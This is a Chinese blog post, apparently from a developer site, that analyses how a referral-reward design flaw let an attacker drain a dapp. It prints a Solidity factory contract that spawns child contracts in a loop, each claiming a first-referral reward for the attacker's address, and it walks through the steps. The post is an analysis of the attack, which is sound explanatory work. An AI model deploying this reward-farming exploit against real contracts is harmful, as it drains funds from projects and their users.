震惊:全面拆解dapp上线三天、 规则漏洞导致资金全部损失

背景:

今天的分析的是链上一个土狗项目由于规则设计漏洞、导致被黑客利用漏洞攻击、致使资金全部损失的案例、近期这个项目也是圈内很火、今天看到了,就趁周末有时间从技术的角度,分析黑客如何利用链上部署的合约,进而干废项目方。

今天说的这个,不是技术漏洞bug、是规则设计漏洞。

说到这里可能有同学就说了、我合约不开源、他怎么发现我的漏洞的、怎么攻击我的、这里可以直接告诉你、不开源不代表安全、只是增加了黑客的一点点成本而已。

攻击源代码

csharp 复制代码
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.0;
contract ChildContract {
    // 定义合约
     address constant remoteContractAddress = 0x543a975946xxxxxxxxxxxxxxxxxxxxx;
     // 子合约的代码...
    function fun(address orderAdress) public {
        // 调用远程合约的*****function方法
        bytes4 sig = bytes4(keccak256("*****function(address)"));
        (bool success, ) = remoteContractAddress.call{value: 0}(abi.encodeWithSelector(sig, orderAdress));
        require(success, "Remote contract call failed");
    }
}

// 工厂合约定义
contract FactoryContract {
    address[] public childrenContracts; // 存储所有子合约地址的数组
    function createChild(address orderAdress) public {
        for (uint256 i = 0; i < 10; i++) {
        ChildContract child = new ChildContract(); // 创建新的子合约实例
        address childAddr = address(child); // 获取子合约的地址
        childrenContracts.push(orderAdress); // 将子合约地址存入数组
        child.fun(orderAdress);
        }

    }

}

案例分析

导火索: 项目方里面有个活动、利用首次推荐新用户推荐人下单获得固定奖励、本来一切都是好好的、但是这里就有一个漏洞了。大家都知道链上都是用address 钱包定义用户的、但是合约本质上也是一个特殊的address 、故此当有人核量成本、发现一笔攻击gas能覆盖奖励收益的时候、就开始使用技术手段去攻击了。

接下来我解释一下我演示的demo流程

1、创建一个工厂合约、每次通过fro方式重复new ChildContract 这个每次new 都会得到一个新的合约地址

2、通过ChildContract 内fun 方法,固定去调用项目方函数。

3、项目方接收到调用后,规则验证通过、给推荐地址orderAdress 返一笔。

4、如果FactoryContract .createChild 一直重复调用、项目方很快破产...

5、以下是我写的一个简单的调用demo 的链上记录

打码的不用关注、主要就是告诉你、可行。。。

后期建议优化

相关推荐
反向跟单策略4 小时前
期货反向跟单—高频换人能够提高跟单效率?
大数据·人工智能·学习·数据分析·区块链
知识分享小能手6 小时前
Ubuntu入门学习教程,从入门到精通,Ubuntu 22.04 中的区块链 —— 知识点详解 (23)
学习·ubuntu·区块链
电报号dapp11919 小时前
钱包开发:在虚无中为数字自我筑巢
游戏·去中心化·区块链·智能合约
数据大魔方1 天前
【期货量化入门】期权交易入门:从零开始学期权量化(TqSdk完整教程)
数据库·python·mysql·算法·区块链·程序员创富
期货资管源码1 天前
期货资管分仓软件开发/平台搭建经验分享
经验分享·算法·eclipse·区块链
Rockbean1 天前
3分钟Solidity: 11.1 重入攻击
web3·智能合约·solidity
Rockbean1 天前
3分钟Solidity: 10.6 时间锁定
web3·智能合约·solidity
数据皮皮侠AI2 天前
上市公司股票名称相似度(1990-2025)
大数据·人工智能·笔记·区块链·能源·1024程序员节
LYFlied2 天前
WebGPU与浏览器边缘智能:开启去中心化AI新纪元
前端·人工智能·大模型·去中心化·区块链
电报号dapp1192 天前
DApp开发:从数字工具到自治理社会系统的构建之路
web3·去中心化·区块链·智能合约